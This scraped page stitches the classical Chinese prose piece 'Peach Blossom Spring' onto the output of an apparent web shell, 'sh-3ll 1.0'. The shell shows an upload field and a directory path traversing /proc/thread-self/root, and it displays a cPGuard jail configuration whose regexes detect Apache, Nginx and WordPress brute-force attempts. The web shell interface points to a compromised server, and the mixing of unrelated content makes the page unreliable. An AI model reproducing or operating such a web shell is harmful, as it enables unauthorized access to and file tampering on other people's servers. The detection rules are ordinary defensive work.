晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/proc/thread-self/root/proc/thread-self/root/opt/cpguard/cpglfd/configs/jails.available/
Upload File :
Current File : //proc/thread-self/root/proc/thread-self/root/opt/cpguard/cpglfd/configs/jails.available/http.yaml
jails:
  # 1. Apache / Nginx Authentication Failure
  - name: "http"
    enabled: true
    log_paths:
      - "/var/log/apache2/error.log"
      - "/var/log/httpd/error_log"
      - "/var/log/nginx/error.log"
    
    # 👇 Converted to Rules
    rules:
      # Apache
      - regexp: "\\[client (?P<ip>\\d+\\.\\d+\\.\\d+\\.\\d+)\\] (AH01630|AH01797): client denied"
      
      # Nginx
      - regexp: "client: (?P<ip>\\d+\\.\\d+\\.\\d+\\.\\d+), server: .*, request:"

    max_retries: 20
    find_time: "1m"
    ban_time: "1h"
    
    actions:
      - name: "cpgblock-http"
        ban_command: '/usr/bin/cpgcli ip --temp-block {{.IP}} --reason "Blocked by {{.JailName}} due to more than {{.MaxRetry}} abusive access within {{.FindTime}} seconds" --extra " LogFile: {{.LogPath}} | Reason: {{.LogLine}}"'
        unban_command: "/usr/bin/cpgcli ip --temp-block {{.IP}} --remove"

  # 2. WordPress / CMS Brute Force
  - name: "http-cms-bots"
    enabled: true
    log_paths:
      - "/etc/apache2/logs/domlogs/*/*"
      - "/var/log/nginx/access.log"
      - "/var/log/httpd/domains/*.log"
      - "/usr/local/apache/domlogs/*.log"
      - "/var/local/enhance/webserver_logs/*.log"
      - "/usr/local/lsws/logs/*.*.log"
      - "/usr/local/apps/apache2/logs/*.*.log"
      - "/usr/local/apps/nginx/var/log/*.*.log"
      - "/var/www/vhosts/system/*/logs/access*_log"

    # Ignore legitimate bots to save CPU and prevent false positives
    ignore_strings:
      - "bingbot"
      - "UptimeRobot"
      - "Googlebot"
      - "facebookexternalhit"
      - "ChatGPT-User"
      - "AdsBot-Google"
      - "Google-Adwords"
      - "Jetpack"
      - "admin-ajax.php"

    
    # 👇 Converted to Rules
    rules:
      # case 1: failed attempts to execute PHP scripts
      - regexp: "^\"?(?P<ip>\\d+\\.\\d+\\.\\d+\\.\\d+)\"? .*[\" ](GET|POST) .*\\.php.* HTTP/\\d\\.\\d.*[\" ](401|403|404|406)[\" ]"
        max_retries: 15
      
      # case 2: wp-login or xmlrpc Brute Force attack
      - regexp: "^\"?(?P<ip>\\d+\\.\\d+\\.\\d+\\.\\d+)\"? .*[\" ](GET|POST) .*(wp-login\\.php|xmlrpc\\.php).*[\" ](200|307)[\" ]"
        max_retries: 10
      
      # case 3: user agent empty, script or bot
      - regexp: "^\"?(?P<ip>\\d+\\.\\d+\\.\\d+\\.\\d+)\"? .*\\.php.* \"-\" \"-\"\\s*$"

      # case 4: empty referer and 404 response code without .php file request
      - regexp: "^\"?(?P<ip>\\d+\\.\\d+\\.\\d+\\.\\d+)\"? .* \"GET \\/[^ ]*\\/ HTTP\\/[0-9.]+\" \"?404\"? \\d+ \"-\" .*$"

    max_retries: 15
    find_time: "1m"
    ban_time: "1h" # Ban hard for bots
    
    actions:
      - name: "cpgblock-http"
        ban_command: '/usr/bin/cpgcli ip --temp-block {{.IP}} --reason "Blocked by {{.JailName}} due to more than {{.MaxRetry}} abusive access within {{.FindTime}} seconds" --extra " LogFile: {{.LogPath}} | Reason: {{.LogLine}}"'
        unban_command: "/usr/bin/cpgcli ip --temp-block {{.IP}} --remove"